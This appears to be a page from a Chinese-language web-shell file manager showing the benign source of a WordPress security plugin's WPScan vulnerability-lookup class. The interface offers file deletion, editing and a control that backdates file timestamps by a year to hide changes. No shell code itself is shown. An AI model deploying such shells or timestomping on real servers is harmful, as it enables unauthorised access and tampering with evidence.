文件操作 - Services.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/ionos-security/inc/Controllers/WPScan/Services.php
编辑文件内容
<?php namespace Ionos\Security\Controllers\WPScan; use Ionos\Security\Controllers\WPScan; /** * Services */ class Services { /** * The URL to the middleware to get the WPScan data. Trailing slash is important. */ const MIDDLEWARE_URL = 'https://webapps-vuln-scan.hosting.ionos.com/api/v1/'; /** * Get vulnerabilities for a single ressource from the wpscan middleware. * * @param string $type "plugin" or "theme". * @param string $slug slug of the ressource to be scanned. * * @return array */ public static function get_vulnerabilities_by_slug( $type, $slug ) { if ( $type !== 'plugin' && $type !== 'theme' ) { error_log( 'Incorrect Function use: $type has to be "plugin" or "theme".' ); return false; } $token = \get_option( WPScan::AUTH_TOKEN_OPTION ); if ( empty( $token ) ) { error_log( 'No WPScan token set.' ); return false; } $response = \wp_remote_get( self::MIDDLEWARE_URL . 'vulnerabilities/' . $type . 's/' . $slug, [ 'headers' => [ 'Authorization' => 'API-Key ' . $token, 'User-Agent' => 'Security-Plugin', ], 'timeout' => 15, ] ); if ( \is_wp_error( $response ) ) { error_log( 'WPScan middleware error: ' . $response->get_error_message() ); return false; } $status_code = \wp_remote_retrieve_response_code( $response ); if ( 200 !== $status_code ) { error_log( 'WPScan middleware error: ' . \wp_remote_retrieve_response_message( $response ) ); return false; } $body = \wp_remote_retrieve_body( $response ); if ( empty( $body ) ) { error_log( 'WPScan middleware error: Empty response' ); return false; } return \json_decode( $body, true ); } /** * Determines the severity of the highest unfixed vulnerability. * * @param array $vulns An array of vulnerabilities. * * @return string The highest current severity. */ public static function get_max_severity_from_vulnerabilites( $vulns ) { if ( empty( $vulns ) ) { return 'none'; } $unfixed_vulns = array_filter( $vulns, function ( $v ) { return ! isset( $v['fixed_in'] ); } ); if ( empty( $unfixed_vulns ) ) { return 'none'; } $scores = array_column( $unfixed_vulns, 'score' ); if ( max( $scores ) >= 7 ) { return 'high'; } else { return 'medium'; } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件